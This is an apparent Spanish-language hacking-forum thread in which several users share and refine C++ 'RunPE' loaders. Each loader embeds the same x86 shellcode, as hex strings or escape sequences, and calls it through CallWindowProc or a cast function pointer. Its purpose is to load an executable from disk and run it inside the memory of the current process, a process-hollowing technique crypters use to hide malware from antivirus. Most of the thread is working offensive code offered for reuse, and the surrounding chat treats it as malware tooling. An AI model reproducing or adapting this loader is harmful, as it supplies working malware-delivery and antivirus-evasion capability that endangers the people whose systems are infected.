• Fuentes

 #477518  por crack81
 07 Sep 2015, 04:23
Traigo la version del runpe shellcode la cual he visto que esta hecha en vb6, autoit, Delphi pero no en C++ asi que ya haci falta ademas que hacen faltan mas runpe en c++
y por supuesto como llamarlo

les dejo el codigo
#include<windows.h>
#include<iostream>

using namespace std;


bool runPE(const char *Buffer, const WCHAR path[]){

  string s_ASM[8];
  byte b_ASM[1288];

   s_ASM[0] = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000";
   s_ASM[1] = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200";
   s_ASM[2] = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200";
   s_ASM[3]= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A";
   s_ASM[4] = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000";
   s_ASM[5] = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8";
   s_ASM[6] = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404";
   s_ASM[7] = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000";

  int k=0;
  for(int i=0;i<=7;i++){

    for(int j=0;j<322;j+=2){
        b_ASM[k]=strtoul(s_ASM[i].substr(j, 2).c_str(), NULL, 16);
        k++;
    }

  }

  CallWindowProcW((WNDPROC)&b_ASM[0],(HWND)&path[0],UINT(&Buffer[0]),0,0);
  return true;
}


string ReadFileWs(const string FilePath){
    HANDLE File=CreateFileA(FilePath.c_str(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(File==INVALID_HANDLE_VALUE){
        return NULL;
    }

    DWORD _size=GetFileSize(File,0);
    char *Buffer=new char[_size+1];
    DWORD bufferLen=0;
    bool result=ReadFile(File,Buffer,_size,&bufferLen,0);
    CloseHandle(File);

    string buff(Buffer,bufferLen);
    delete[] Buffer;
    if(result)return buff;
    else return NULL;
}



int main()
{

    wchar_t  szFilePath[256];
    GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
    string Buffer=ReadFileWs("C:\\bcb6kg.EXE");//archivo a leer
    runPE(&Buffer[0],szFilePath);//ejecutando en memoria
    cout<<"Listo"<<endl;
    cin.get();

    return 0;
}
 #477521  por Blau
 07 Sep 2015, 05:48
Yo lo usaba así:
bool RunPE(LPCWSTR szFilePath, LPVOID pFile) {
    char shellcode[] = "\x60\xE8\x4E\x00\x00\x00\x6B\x00\x65\x00\x72\x00\x6E\x00\x65\x00\x6C\x00\x33\x00\x32\x00\x00\x00\x6E\x00\x74\x00\x64\x00\x6C\x00\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5B\x8B\xFC\x6A\x42\xE8\xBB\x03\x00\x00\x8B\x54\x24\x28\x89\x11\x8B\x54\x24\x2C\x6A\x3E\xE8\xAA\x03\x00\x00\x89\x11\x6A\x4A\xE8\xA1\x03\x00\x00\x89\x39\x6A\x1E\x6A\x3C\xE8\x9D\x03\x00\x00\x6A\x22\x68\xF4\x00\x00\x00\xE8\x91\x03\x00\x00\x6A\x26\x6A\x24\xE8\x88\x03\x00\x00\x6A\x2A\x6A\x40\xE8\x7F\x03\x00\x00\x6A\x2E\x6A\x0C\xE8\x76\x03\x00\x00\x6A\x32\x68\xC8\x00\x00\x00\xE8\x6A\x03\x00\x00\x6A\x2A\xE8\x5C\x03\x00\x00\x8B\x09\xC7\x01\x44\x00\x00\x00\x6A\x12\xE8\x4D\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x79\x03\x00\x00\x6A\x3E\xE8\x3B\x03\x00\x00\x8B\xD1\x6A\x1E\xE8\x32\x03\x00\x00\x6A\x40\xFF\x32\xFF\x31\xFF\xD0\x6A\x12\xE8\x23\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x4F\x03\x00\x00\x6A\x1E\xE8\x11\x03\x00\x00\x8B\x09\x8B\x51\x3C\x6A\x3E\xE8\x05\x03\x00\x00\x8B\x39\x03\xFA\x6A\x22\xE8\xFA\x02\x00\x00\x8B\x09\x68\xF8\x00\x00\x00\x57\x51\xFF\xD0\x6A\x00\xE8\xE8\x02\x00\x00\x68\x88\xFE\xB3\x16\x51\xE8\x14\x03\x00\x00\x6A\x2E\xE8\xD6\x02\x00\x00\x8B\x39\x6A\x2A\xE8\xCD\x02\x00\x00\x8B\x11\x6A\x42\xE8\xC4\x02\x00\x00\x57\x52\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xFF\x31\xFF\xD0\x6A\x12\xE8\xA9\x02\x00\x00\x68\xD0\x37\x10\xF2\x51\xE8\xD5\x02\x00\x00\x6A\x22\xE8\x97\x02\x00\x00\x8B\x11\x6A\x2E\xE8\x8E\x02\x00\x00\x8B\x09\xFF\x72\x34\xFF\x31\xFF\xD0\x6A\x00\xE8\x7E\x02\x00\x00\x68\x9C\x95\x1A\x6E\x51\xE8\xAA\x02\x00\x00\x6A\x22\xE8\x6C\x02\x00\x00\x8B\x11\x8B\x39\x6A\x2E\xE8\x61\x02\x00\x00\x8B\x09\x6A\x40\x68\x00\x30\x00\x00\xFF\x72\x50\xFF\x77\x34\xFF\x31\xFF\xD0\x6A\x36\xE8\x47\x02\x00\x00\x8B\xD1\x6A\x22\xE8\x3E\x02\x00\x00\x8B\x39\x6A\x3E\xE8\x35\x02\x00\x00\x8B\x31\x6A\x22\xE8\x2C\x02\x00\x00\x8B\x01\x6A\x2E\xE8\x23\x02\x00\x00\x8B\x09\x52\xFF\x77\x54\x56\xFF\x70\x34\xFF\x31\x6A\x00\xE8\x10\x02\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x3C\x02\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x12\xE8\xF9\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x25\x02\x00\x00\x6A\x22\xE8\xE7\x01\x00\x00\x8B\x11\x83\xC2\x06\x6A\x3A\xE8\xDB\x01\x00\x00\x6A\x02\x52\x51\xFF\xD0\x6A\x36\xE8\xCE\x01\x00\x00\xC7\x01\x00\x00\x00\x00\xB8\x28\x00\x00\x00\x6A\x36\xE8\xBC\x01\x00\x00\xF7\x21\x6A\x1E\xE8\xB3\x01\x00\x00\x8B\x11\x8B\x52\x3C\x81\xC2\xF8\x00\x00\x00\x03\xD0\x6A\x3E\xE8\x9F\x01\x00\x00\x03\x11\x6A\x26\xE8\x96\x01\x00\x00\x6A\x28\x52\xFF\x31\x6A\x12\xE8\x8A\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\xB6\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x26\xE8\x73\x01\x00\x00\x8B\x39\x8B\x09\x8B\x71\x14\x6A\x3E\xE8\x65\x01\x00\x00\x03\x31\x6A\x26\xE8\x5C\x01\x00\x00\x8B\x09\x8B\x51\x0C\x6A\x22\xE8\x50\x01\x00\x00\x8B\x09\x03\x51\x34\x6A\x46\xE8\x44\x01\x00\x00\x8B\xC1\x6A\x2E\xE8\x3B\x01\x00\x00\x8B\x09\x50\xFF\x77\x10\x56\x52\xFF\x31\x6A\x00\xE8\x2A\x01\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x56\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x36\xE8\x13\x01\x00\x00\x8B\x11\x83\xC2\x01\x89\x11\x6A\x3A\xE8\x05\x01\x00\x00\x8B\x09\x3B\xCA\x0F\x85\x33\xFF\xFF\xFF\x6A\x32\xE8\xF4\x00\x00\x00\x8B\x09\xC7\x01\x07\x00\x01\x00\x6A\x00\xE8\xE5\x00\x00\x00\x68\xD2\xC7\xA7\x68\x51\xE8\x11\x01\x00\x00\x6A\x32\xE8\xD3\x00\x00\x00\x8B\x11\x6A\x2E\xE8\xCA\x00\x00\x00\x8B\x09\x52\xFF\x71\x04\xFF\xD0\x6A\x22\xE8\xBB\x00\x00\x00\x8B\x39\x83\xC7\x34\x6A\x32\xE8\xAF\x00\x00\x00\x8B\x31\x8B\xB6\xA4\x00\x00\x00\x83\xC6\x08\x6A\x2E\xE8\x9D\x00\x00\x00\x8B\x11\x6A\x46\xE8\x94\x00\x00\x00\x51\x6A\x04\x57\x56\xFF\x32\x6A\x00\xE8\x86\x00\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\xB2\x00\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x22\xE8\x6F\x00\x00\x00\x8B\x09\x8B\x51\x28\x03\x51\x34\x6A\x32\xE8\x60\x00\x00\x00\x8B\x09\x81\xC1\xB0\x00\x00\x00\x89\x11\x6A\x00\xE8\x4F\x00\x00\x00\x68\xD3\xC7\xA7\xE8\x51\xE8\x7B\x00\x00\x00\x6A\x32\xE8\x3D\x00\x00\x00\x8B\xD1\x6A\x2E\xE8\x34\x00\x00\x00\x8B\x09\xFF\x32\xFF\x71\x04\xFF\xD0\x6A\x00\xE8\x24\x00\x00\x00\x68\x88\x3F\x4A\x9E\x51\xE8\x50\x00\x00\x00\x6A\x2E\xE8\x12\x00\x00\x00\x8B\x09\xFF\x71\x04\xFF\xD0\x6A\x4A\xE8\x04\x00\x00\x00\x8B\x21\x61\xC3\x8B\xCB\x03\x4C\x24\x04\xC3\x6A\x00\xE8\xF2\xFF\xFF\xFF\x68\x54\xCA\xAF\x91\x51\xE8\x1E\x00\x00\x00\x6A\x40\x68\x00\x10\x00\x00\xFF\x74\x24\x18\x6A\x00\xFF\xD0\xFF\x74\x24\x14\xE8\xCF\xFF\xFF\xFF\x89\x01\x83\xC4\x10\xC3\xE8\x22\x00\x00\x00\x68\xA4\x4E\x0E\xEC\x50\xE8\x4B\x00\x00\x00\x83\xC4\x08\xFF\x74\x24\x04\xFF\xD0\xFF\x74\x24\x08\x50\xE8\x38\x00\x00\x00\x83\xC4\x08\xC3\x55\x52\x51\x53\x56\x57\x33\xC0\x64\x8B\x70\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x47\x18\x75\xF3\x80\x3F\x6B\x74\x07\x80\x3F\x4B\x74\x02\xEB\xE7\x8B\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\x55\x52\x51\x53\x56\x57\x8B\x6C\x24\x1C\x85\xED\x74\x43\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x30\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x20\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\xC3\x00\x00\x00\x00";
    return (_bCallWindowProc((WNDPROC)&shellcode, (HWND)szFilePath, (UINT)pFile, 0, 0) > 0);
}
NOTA: mi CallWindowProc se llama así porque la llamaba dinámicamente.
typedef LRESULT ( __stdcall * bCallWindowProc) (WNDPROC, HWND, UINT, WPARAM, LPARAM);
bCallWindowProc _bCallWindowProc = bCallWindowProc(GetProcAddress(GetModuleHandleA("user32.dll"), "CallWindowProcA"));
 #477548  por Pink
 07 Sep 2015, 20:36
Si usan C/C++ no usen CallwindowProc :S

Muy Buena La traducción Bro.

@Crack si usas unicode por ejemplo en GetModuleFileNameW es mejor pasar un BUffer mas grande. incluso mas que que MAX_PATH.

Saludos
 #477557  por Pink
 07 Sep 2015, 21:39
Pensándolo bien no tomes en cuenta lo que dije GetModuleFileNameW (Y si se puede crear una ruta mas laga de 255)

Si tengo tiempo traigo mi versión.

Saludos
 #477566  por crack81
 08 Sep 2015, 00:11
Blau
Yo hice este llamado por que asi me pedia los parametros en codeblocks, tambien cambia un poco en c++ builder.
Lo de llamarlo dinamicamente es interesante no solo para la CallwindowProc.

Pink porque no es bueno usar CallwindowProc y si recomiendas otra avisa por favor, con respecto GetModuleFileNameW no puse mucho atencion con el tamaño del path aunque creo que lo minimio deberia ser MAX_PATH que son como 260 caracteres lo que no se si vale igual para la version unicode, ni tampoco se cual seria lo mas "optimo".

Saludos....
 #477567  por Pink
 08 Sep 2015, 00:17
Porque en C puedes llamar directamente el Shellcode sin necesidad de usar callwindowproc incluso hacerlo dinámico es cagarla porque agregas load library y getprocaddress. puedes usar asm en linea. o también un conversión de tipo para llamar el shellcode como función.
Saludos
 #477569  por Pink
 08 Sep 2015, 00:47
Si no te queda muy claro me refiero a algo así.

void (*AsmCall)() = (int(*)())shellcode;


Avísame si captas a lo que me refiero.
Saludos
 #477575  por Blau
 08 Sep 2015, 03:42
@crack81
Yo también uso Code::Blocks de IDE pero uso Visual Studio 2005 como compilador.

@Pink
También intenté hacerlo así pero debido a mis limitados conocimientos de C/C++ no supe cómo pasarle los argumentos (búfer y ruta).
 #477576  por crack81
 08 Sep 2015, 04:01
Prueba con esto
bool runPE(char *Buffer,WCHAR path[]){

  string s_ASM[8];
  byte b_ASM[1288];

   s_ASM[0] = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000";
   s_ASM[1] = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200";
   s_ASM[2] = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200";
   s_ASM[3]= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A";
   s_ASM[4] = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000";
   s_ASM[5] = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8";
   s_ASM[6] = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404";
   s_ASM[7] = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000";

  int k=0;
  for(int i=0;i<=7;i++){

    for(int j=0;j<322;j+=2){
        b_ASM[k]=strtoul(s_ASM[i].substr(j, 2).c_str(), NULL, 16);
        k++;
    }

  }

  int(*callAsm)(WCHAR*,char*)=(int(*)(WCHAR*,char*))b_ASM;
  callAsm(&path[0],&Buffer[0]);
  return true;
}
Saludos...
 #477577  por Pink
 08 Sep 2015, 05:03
o Así.
#include <iostream>
#include<windows.h>

using namespace std;

string ReadFileWs(const string FilePath){
    HANDLE File=CreateFileA(FilePath.c_str(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(File==INVALID_HANDLE_VALUE){
        return NULL;
    }
    DWORD _size=GetFileSize(File,0);
    char *Buffer=new char[_size+1];
    DWORD bufferLen=0;
    bool result=ReadFile(File,Buffer,_size,&bufferLen,0);
    CloseHandle(File);

    string buff(Buffer,bufferLen);
    delete[] Buffer;
    if(result)return buff;
    else return NULL;
}

int main(void){
char shellcode[] = "\x60\xE8\x4E\x00\x00\x00\x6B\x00\x65\x00\x72\x00\x6E\x00\x65\x00\x6C\x00\x33\x00\x32\x00\x00\x00\x6E\x00\x74\x00\x64\x00\x6C\x00\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5B\x8B\xFC\x6A\x42\xE8\xBB\x03\x00\x00\x8B\x54\x24\x28\x89\x11\x8B\x54\x24\x2C\x6A\x3E\xE8\xAA\x03\x00\x00\x89\x11\x6A\x4A\xE8\xA1\x03\x00\x00\x89\x39\x6A\x1E\x6A\x3C\xE8\x9D\x03\x00\x00\x6A\x22\x68\xF4\x00\x00\x00\xE8\x91\x03\x00\x00\x6A\x26\x6A\x24\xE8\x88\x03\x00\x00\x6A\x2A\x6A\x40\xE8\x7F\x03\x00\x00\x6A\x2E\x6A\x0C\xE8\x76\x03\x00\x00\x6A\x32\x68\xC8\x00\x00\x00\xE8\x6A\x03\x00\x00\x6A\x2A\xE8\x5C\x03\x00\x00\x8B\x09\xC7\x01\x44\x00\x00\x00\x6A\x12\xE8\x4D\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x79\x03\x00\x00\x6A\x3E\xE8\x3B\x03\x00\x00\x8B\xD1\x6A\x1E\xE8\x32\x03\x00\x00\x6A\x40\xFF\x32\xFF\x31\xFF\xD0\x6A\x12\xE8\x23\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x4F\x03\x00\x00\x6A\x1E\xE8\x11\x03\x00\x00\x8B\x09\x8B\x51\x3C\x6A\x3E\xE8\x05\x03\x00\x00\x8B\x39\x03\xFA\x6A\x22\xE8\xFA\x02\x00\x00\x8B\x09\x68\xF8\x00\x00\x00\x57\x51\xFF\xD0\x6A\x00\xE8\xE8\x02\x00\x00\x68\x88\xFE\xB3\x16\x51\xE8\x14\x03\x00\x00\x6A\x2E\xE8\xD6\x02\x00\x00\x8B\x39\x6A\x2A\xE8\xCD\x02\x00\x00\x8B\x11\x6A\x42\xE8\xC4\x02\x00\x00\x57\x52\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xFF\x31\xFF\xD0\x6A\x12\xE8\xA9\x02\x00\x00\x68\xD0\x37\x10\xF2\x51\xE8\xD5\x02\x00\x00\x6A\x22\xE8\x97\x02\x00\x00\x8B\x11\x6A\x2E\xE8\x8E\x02\x00\x00\x8B\x09\xFF\x72\x34\xFF\x31\xFF\xD0\x6A\x00\xE8\x7E\x02\x00\x00\x68\x9C\x95\x1A\x6E\x51\xE8\xAA\x02\x00\x00\x6A\x22\xE8\x6C\x02\x00\x00\x8B\x11\x8B\x39\x6A\x2E\xE8\x61\x02\x00\x00\x8B\x09\x6A\x40\x68\x00\x30\x00\x00\xFF\x72\x50\xFF\x77\x34\xFF\x31\xFF\xD0\x6A\x36\xE8\x47\x02\x00\x00\x8B\xD1\x6A\x22\xE8\x3E\x02\x00\x00\x8B\x39\x6A\x3E\xE8\x35\x02\x00\x00\x8B\x31\x6A\x22\xE8\x2C\x02\x00\x00\x8B\x01\x6A\x2E\xE8\x23\x02\x00\x00\x8B\x09\x52\xFF\x77\x54\x56\xFF\x70\x34\xFF\x31\x6A\x00\xE8\x10\x02\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x3C\x02\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x12\xE8\xF9\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x25\x02\x00\x00\x6A\x22\xE8\xE7\x01\x00\x00\x8B\x11\x83\xC2\x06\x6A\x3A\xE8\xDB\x01\x00\x00\x6A\x02\x52\x51\xFF\xD0\x6A\x36\xE8\xCE\x01\x00\x00\xC7\x01\x00\x00\x00\x00\xB8\x28\x00\x00\x00\x6A\x36\xE8\xBC\x01\x00\x00\xF7\x21\x6A\x1E\xE8\xB3\x01\x00\x00\x8B\x11\x8B\x52\x3C\x81\xC2\xF8\x00\x00\x00\x03\xD0\x6A\x3E\xE8\x9F\x01\x00\x00\x03\x11\x6A\x26\xE8\x96\x01\x00\x00\x6A\x28\x52\xFF\x31\x6A\x12\xE8\x8A\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\xB6\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x26\xE8\x73\x01\x00\x00\x8B\x39\x8B\x09\x8B\x71\x14\x6A\x3E\xE8\x65\x01\x00\x00\x03\x31\x6A\x26\xE8\x5C\x01\x00\x00\x8B\x09\x8B\x51\x0C\x6A\x22\xE8\x50\x01\x00\x00\x8B\x09\x03\x51\x34\x6A\x46\xE8\x44\x01\x00\x00\x8B\xC1\x6A\x2E\xE8\x3B\x01\x00\x00\x8B\x09\x50\xFF\x77\x10\x56\x52\xFF\x31\x6A\x00\xE8\x2A\x01\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x56\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x36\xE8\x13\x01\x00\x00\x8B\x11\x83\xC2\x01\x89\x11\x6A\x3A\xE8\x05\x01\x00\x00\x8B\x09\x3B\xCA\x0F\x85\x33\xFF\xFF\xFF\x6A\x32\xE8\xF4\x00\x00\x00\x8B\x09\xC7\x01\x07\x00\x01\x00\x6A\x00\xE8\xE5\x00\x00\x00\x68\xD2\xC7\xA7\x68\x51\xE8\x11\x01\x00\x00\x6A\x32\xE8\xD3\x00\x00\x00\x8B\x11\x6A\x2E\xE8\xCA\x00\x00\x00\x8B\x09\x52\xFF\x71\x04\xFF\xD0\x6A\x22\xE8\xBB\x00\x00\x00\x8B\x39\x83\xC7\x34\x6A\x32\xE8\xAF\x00\x00\x00\x8B\x31\x8B\xB6\xA4\x00\x00\x00\x83\xC6\x08\x6A\x2E\xE8\x9D\x00\x00\x00\x8B\x11\x6A\x46\xE8\x94\x00\x00\x00\x51\x6A\x04\x57\x56\xFF\x32\x6A\x00\xE8\x86\x00\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\xB2\x00\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x22\xE8\x6F\x00\x00\x00\x8B\x09\x8B\x51\x28\x03\x51\x34\x6A\x32\xE8\x60\x00\x00\x00\x8B\x09\x81\xC1\xB0\x00\x00\x00\x89\x11\x6A\x00\xE8\x4F\x00\x00\x00\x68\xD3\xC7\xA7\xE8\x51\xE8\x7B\x00\x00\x00\x6A\x32\xE8\x3D\x00\x00\x00\x8B\xD1\x6A\x2E\xE8\x34\x00\x00\x00\x8B\x09\xFF\x32\xFF\x71\x04\xFF\xD0\x6A\x00\xE8\x24\x00\x00\x00\x68\x88\x3F\x4A\x9E\x51\xE8\x50\x00\x00\x00\x6A\x2E\xE8\x12\x00\x00\x00\x8B\x09\xFF\x71\x04\xFF\xD0\x6A\x4A\xE8\x04\x00\x00\x00\x8B\x21\x61\xC3\x8B\xCB\x03\x4C\x24\x04\xC3\x6A\x00\xE8\xF2\xFF\xFF\xFF\x68\x54\xCA\xAF\x91\x51\xE8\x1E\x00\x00\x00\x6A\x40\x68\x00\x10\x00\x00\xFF\x74\x24\x18\x6A\x00\xFF\xD0\xFF\x74\x24\x14\xE8\xCF\xFF\xFF\xFF\x89\x01\x83\xC4\x10\xC3\xE8\x22\x00\x00\x00\x68\xA4\x4E\x0E\xEC\x50\xE8\x4B\x00\x00\x00\x83\xC4\x08\xFF\x74\x24\x04\xFF\xD0\xFF\x74\x24\x08\x50\xE8\x38\x00\x00\x00\x83\xC4\x08\xC3\x55\x52\x51\x53\x56\x57\x33\xC0\x64\x8B\x70\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x47\x18\x75\xF3\x80\x3F\x6B\x74\x07\x80\x3F\x4B\x74\x02\xEB\xE7\x8B\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\x55\x52\x51\x53\x56\x57\x8B\x6C\x24\x1C\x85\xED\x74\x43\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x30\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x20\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\xC3\x00\x00\x00\x00";
int (*AsmCall)(long, long) = (int(*)(long,long))shellcode;
wchar_t  szFilePath[256];
GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
string Buffer=ReadFileWs("C:\\Blauycrack81seaman.EXE");//archivo a leer
AsmCall((long)szFilePath,(long)&Buffer[0]);
return 0;
}
PD: yo también uso Code::Blocks
Saludos nenas
 #477598  por Blau
 08 Sep 2015, 23:17
@Pink
¿Puedes pasarme un sample de 'Blauycrack81seaman.EXE'? He oído que es un virus muy potente
 #477648  por adwind
 09 Sep 2015, 23:19
Alguien lo pudo hacer funcionar para pasarle parametros?
 #477662  por M3
 10 Sep 2015, 05:17
@Adwind , en este no anda si no me equivoco , tendras que hacer canbio en el Shellcode para passar parametros

Buen trabajo crack81

Sld
 #477712  por Pink
 11 Sep 2015, 01:31
Seguro se puede pero hay que agregarle instrucciones Yo lo hiciera pero no estoy motivado.

Saludos
 #477716  por M3
 11 Sep 2015, 02:17
Hola @Pink , no nos vemos por skype capo xD
